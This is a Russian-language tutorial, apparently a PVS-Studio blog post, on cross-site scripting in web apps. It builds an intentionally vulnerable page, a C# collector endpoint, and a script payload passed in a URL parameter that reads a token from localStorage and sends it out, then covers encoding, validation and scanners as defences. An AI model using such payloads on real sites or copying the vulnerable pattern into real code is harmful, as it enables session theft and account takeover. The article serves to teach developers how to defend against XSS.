XSS, или межсайтовый скриптинг, является одной из самых часто встречающихся уязвимостей в веб-приложениях. Она уже долгое время входит в OWASP Top 10 – список самых критичных угроз безопасности веб-приложений. Давайте вместе разберемся, как в вашем браузере может выполниться скрипт, полученный со стороннего сайта, и к чему это может привести (спойлер: например, к краже cookie). Заодно поговорим о том, что необходимо предпринять, чтобы обезопаситься от XSS.
Межсайтовый скриптинг (XSS) — тип атаки на веб-системы: он заключается во внедрении в веб-страницу вредоносного кода, который взаимодействует с веб-сервером злоумышленника. Чаще всего вредоносный код выполняется в браузере пользователя при рендеринге страницы. Реже — от пользователя требуется выполнение дополнительных действий. Получается, что во многих случаях для использования XSS уязвимости злоумышленником пользователю необходимо просто открыть веб-страницу с внедрённым вредоносным кодом. Это одна из причин того, почему на момент написания статьи XSS занимает 7-ое место в OWASP Top 10 — списке самых опасных уязвимостей веб-приложений, сформированном в 2017 году.
При отображении страницы браузер не может отличить обычный текст от HTML разметки. Из-за этого он будет выполнять весь JavaScript код, расположенный в тегах <script>, при отображении страницы. Эта особенность браузера является одной из основных причин возможности XSS атак.
Получается, чтобы выполнить XSS атаку, необходимо выполнить несколько условий:
Теперь давайте рассмотрим пример XSS атаки.
Итак, начнём по порядку. Каким образом возможно внедрить код в веб-страницу? Первое, что мне пришло в голову, – это использование параметров GET запроса. Для примера создадим веб-страницу с такой логикой:
Код страницы:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>XSS Example</title>
</head>
<body>
<div style="text-align: center">Value of the 'xss' parameter: </div>
</body>
</html>
<script>
var urlParams = new URLSearchParams(window.location.search);
var xssParam = urlParams.get("xss");
var pageMessage = xssParam ? xssParam : "Empty 'xss' parameter";
document.write('<div style="text-align: center">'
+ pageMessage + '</div>');
</script>
Теперь проверим, что всё работает. Открываем страницу с пустым значением у параметра xss:
Открываем страницу со значением Not empty 'xss' parameter у параметра xss:
Отображение строки работает. А теперь самое интересное! Передадим в параметре xss строку <script>alert("You've been hacked! This is an XSS attack!")</script>.
В результате при открытии страницы код из параметра будет выполнен, и мы увидим диалоговое окно с текстом, переданным в метод alert:
Вау! JavaScript код, который мы передали через параметр xss, выполнился при отображении страницы. Таким образом я наполовину выполнил первый пункт из определения XSS атаки: на страницу внедрён код, который выполнился при отображении страницы, однако он не нанёс никакого вреда.
Теперь добавим взаимодействие внедрённого кода с веб-сервером злоумышленника. Аналогом веб-сервера в моём примере будет веб-сервис, написанный на C#. Код конечной точки веб-сервиса:
[ApiController]
[Route("{controller}")]
public class AttackerEndPointController : ControllerBase
{
[HttpGet]
public IActionResult Get([FromQuery] string stolenToken)
{
var resultFilePath = Path.Combine(Directory.GetCurrentDirectory(),
"StolenTokenResult.txt");
System.IO.File.WriteAllText(resultFilePath, stolenToken);
return Ok();
}
}
Чтобы обратиться к этому веб-сервису, я передам в параметре xss строку:
"<script>
var xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET',
'https://localhost:44394/AttackerEndPoint?stolenToken=TEST_TOKEN',
true);
xmlHttp.send(null);
</script>"
При открытии страницы код из параметра будет выполнен, и веб-сервису по адресу https://localhost:44394/AttackerEndPoint будет отправлен GET запрос, где в параметре stolenToken будет передана строка TEST_TOKEN. При получении запроса веб-сервис сохранит значение из параметра stolenToken в файл StolenTokenResult.txt.
Протестируем это поведение. Откроем страницу и увидим, что на ней ничего не отображается, кроме стандартного сообщения Value of the 'xss' parameter:.
Однако во вкладке 'Network' в инструментах разработчика висит сообщение о том, что веб-сервису по адресу https://localhost:44394/AttackerEndPoint был отправлен запрос:
Теперь проверим, что же содержится в файле StolenTokenResult.txt:
Ок, все работает. Таким образом мы почти выполнили все условия XSS атаки:
Осталось сделать этот код вредоносным. Из моего небольшого опыта веб-программирования я знаю, что в локальном хранилище браузера иногда хранятся токены для проверки аутентификации пользователя на нескольких сайтах или в нескольких веб-приложениях. Работает это так:
Для того чтобы код, выполненный на странице, оказался вредоносным, я решил изменить код страницы. Теперь при её открытии в локальное хранилище браузера сохраняется строка USER_VERY_SECRET_TOKEN по ключу SECRET_TOKEN. Для этого я изменил код страницы:
<!DOCTYPE html>
<html>
....
</html>
<script>
localStorage.setItem("SECRET_TOKEN", "USER_VERY_SECRET_TOKEN");
....
</script>
Осталось передать в GET запросе через параметр xss код, который получит из локального хранилища данные и отправит их на веб-сервис. Для этого я передам в параметре строку:
"<script>
var xmlHttp = new XMLHttpRequest();
var userSecretToken = localStorage.getItem('SECRET_TOKEN');
var fullUrl = 'https://localhost:44394/AttackerEndPoint?stolenToken='
%2b userSecretToken;
xmlHttp.open('GET', fullUrl, true);
xmlHttp.send(null);
</script>"
Вместо символа '+' я использовал его кодированный вариант %2b, потому что в URL для символа '+' отведено специальное назначение.
Проверяем, что все работает так, как я описал. Открываем страницу:
Здесь, как и в прошлый раз, только сообщение Value of the 'xss' parameter: посередине страницы. Осталось проверить, что код был выполнен и веб-сервису был отправлен запрос, где значение параметра stolenToken было равно USER_VERY_SECRET_TOKEN:
Если на моем месте был бы обычный пользователь, то он бы не заметил выполнения скрипта при открытии страницы, потому что на странице ничто об этом не сигнализировало.
Теперь убедимся, что веб-сервис получил украденный токен:
Да, получил. В переменной stolenToken находится значение USER_VERY_SECRET_DATA. Ну и, естественно, веб-сервис сохранил его в файл StolenTokenResult.txt. Поздравляю, XSS атака прошла успешно.
В этом примере я сам передал вредоносный код в параметре запроса. В реальной же жизни злоумышленник замаскирует ссылку (например, при помощи программы сокращения ссылок) с вредоносным кодом и отправит ее пользователю на почту (представившись техподдержкой или администрацией сайта) или опубликует её на стороннем сайте. Кликнув на замаскированную ссылку, пользователь откроет веб-страницу и тем самым запустит вредоносный скрипт у себя в браузере, ничего не подозревая об этом. После выполнения скрипта злоумышленник получит токен и, используя его, окажется в аккаунте пользователя. В результате он сможет похитить конфиденциальные данные или выполнить вредоносные действия от имени пользователя.
Разобрав на примере, как может произойти XSS атака, стоит немного углубиться в теорию и познакомиться с типами XSS атак:
Учитывая, что эту статью скорее всего читает разработчик, стоит рассказать о способах, которые помогут избежать появления XSS уязвимостей при разработке. Давайте с ними познакомимся.
Так как я являюсь C# разработчиком, то способы защиты от XSS будут рассмотрены для языка C#. Однако это никак не повлияет на информативность, потому что варианты защиты, описанные ниже, подойдут для практически любого языка программирования.
Первый вариант защиты от XSS уязвимостей при разработке – это использование возможностей веб-фреймворка. Например, в C# фреймворке ASP.NET можно в файлах .cshtml и .razor смешивать HTML разметку и C# код:
@page
@model ErrorModel
@{
ViewData["Title"] = "Error";
}
<h1 class="text-danger">Error.</h1>
<h2 class="text-danger">An error occurred while processing your request.</h2>
@if (Model.ShowRequestId)
{
<p>
<strong>Request ID:</strong> <code>@Model.RequestId</code>
</p>
}
В этом файле на странице отображается результат C# выражения Model.RequestId. Чтобы данный тип файла скомпилировался, C# выражение или блок C# кода должен начинаться с символа '@'. Однако этот символ не только позволяет использовать C# вместе с HTML разметкой в одном файле, но и указывает ASP.NET, что если блок кода или выражение возвращают значение, то перед его отображением на странице необходимо в значении кодировать символы HTML в HTML-сущности. HTML-сущности — это части текста ("строки"), которые начинаются с символа амперсанда (&) и заканчиваются точкой с запятой (;). Сущности чаще всего используются для представления специальных символов (которые могут быть восприняты как часть HTML-кода) или невидимых символов (таких как неразрывный пробел). Таким образом ASP.NET защищает разработчиков от XSS атак.
Однако особое внимание стоит уделить файлам с расширением .aspx в ASP.NET (более старая версия файлов HTML страниц с поддержкой C# кода). Этот тип файлов не кодирует автоматически результаты C# выражений. Для кодирования HTML символов в C# выражениях в этом типе файлов необходимо помещать C# код в блок кода <%: %>. Например:
<asp:Content ID="BodyContent" ContentPlaceHolderID="MainContent" runat="server">
....
<h2><%: Title.Substring(1);%>.</h2>
....
</asp:Content>
Вторым вариантом является кодирование HTML символов в HTML-сущности перед отображением данных на веб-странице "вручную", то есть с использованием специальных функций-кодировщиков. В C# для этого имеются специальные методы:
В результате кодирования HTML символов вредоносный код не выполняется браузером, а просто отображается в виде текста на веб-странице, причем закодированные символы отображаются корректно.
Давайте я продемонстрирую данный способ защиты на примере XSS атаки, проведённой ранее. Вот только одна проблема: в JavaScript я не нашёл функции, которая кодирует HTML символы в HTML-сущности. Зато я нашёл в интернете способ, как быстро и легко написать такую функцию:
function htmlEncode (str)
{
var div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
При написании этой функции была использована особенность свойства Element.innerHTML. Используем эту функцию на HTML странице из примера XSS атаки:
<!DOCTYPE html>
<html>
....
</html>
<script>
function htmlEncode(str)
{
var div = document.createElement('div');
div.appendChild(document.createTextNode(str));
return div.innerHTML;
}
var urlParams = new URLSearchParams(window.location.search);
var xssParam = urlParams.get("xss");
var pageMessage = xssParam ? xssParam : "Empty 'xss' parameter";
var encodedMessage = htmlEncode(pageMessage); // <=
document.write('<div style="text-align: center">'
+ encodedMessage + '</div>');
</script>
Здесь мы кодируем значение xss параметра при помощи функции htmlEncode перед отображением на странице.
Теперь откроем эту страницу, передав в параметре xss строку <script>alert("You've been hacked! This is an XSS attack!")</script>:
Как видите, при кодировании строки со скриптом браузер просто отображает эту строку на странице, а не выполняет скрипт.
Третий вариант защиты – это валидация данных, полученных от пользователя или какого-то другого внешнего источника (HTML запрос, база данных, файл и т.п.). Для этого типа защиты хорошо подходят регулярные выражения. Их можно использовать для отлова данных, содержащих опасные символы или конструкции. При обнаружении подобных данных валидатором приложение просто должно выдать пользователю сообщение об опасных данных и не отправлять их далее на обработку.
О других способах защиты от XSS вы можете прочитать здесь. Как видно из рассмотренного выше примера, даже в простейшей веб-странице с минимальным исходным кодом может иметься XSS уязвимость. Представьте, какие же тогда возможности для XSS открываются в проектах, имеющих десятки тысяч строк кода. Учитывая это, были разработаны автоматизированные инструменты для поиска XSS уязвимостей. С помощью этих утилит сканируется исходный код или точки доступа сайта или веб-приложения и составляется отчёт о найденных уязвимостях.
Если при разработке вы не уделяли должного внимания защите от XSS, то не всё ещё потерянно. Для поиска уязвимостей в безопасности сайтов и веб-приложений имеется множество XSS сканеров. Благодаря им вы можете найти большинство известных уязвимостей в своих проектах (и не только в своих, потому что некоторым сканерам не нужны исходники). Имеются как бесплатные, так и платные варианты подобных сканеров. Конечно, вы можете попробовать написать собственные инструменты поиска XSS уязвимостей, но они, скорее всего, будут намного хуже профессиональных платных инструментов.
И все-таки более логичным и дешёвым вариантом является поиск и исправление уязвимостей на ранних стадиях разработки. Значительную помощь в этом оказывают XSS сканеры и статические анализаторы кода. Например, в контексте разработки на языке C# одним из таких статических анализаторов является PVS-Studio. В этом анализаторе недавно появилась новая C# диагностика — V5610, которая как раз ищет потенциальные XSS уязвимости. Также можно использовать оба типа инструментов, потому что каждый из них имеет собственную зону ответственности. Благодаря этому вы обнаружите как существующие уязвимости в проекте, так и уязвимости, которые будут возникать при развитии проекта.
Если вам интересна тема уязвимостей в целом, а также способы их обнаружения с помощью статического анализа, то предлагаю прочитать статью "OWASP, уязвимости и taint анализ в PVS-Studio C#. Смешать, но не взбалтывать".
XSS — это необычная и довольно мерзкая уязвимость в веб-безопасности. В данной статье я привёл лишь один простой пример XSS атаки. В реальности же вариантов атак огромное количество. У каждого проекта могут иметься как уникальные, так и известные XSS уязвимости, которыми могут воспользоваться злоумышленники. Если вы хотите найти уязвимости в уже готовом проекте или если у вас нет доступа к исходному коду проекта, то стоит обратить свое внимание на XSS сканеры. Для защиты от появления XSS уязвимостей при разработке стоит применять статические анализаторы кода.
P.S. Если хотите получить немного практики с XSS (в учебных целях), предлагаю попробовать игру про XSS от Google.
0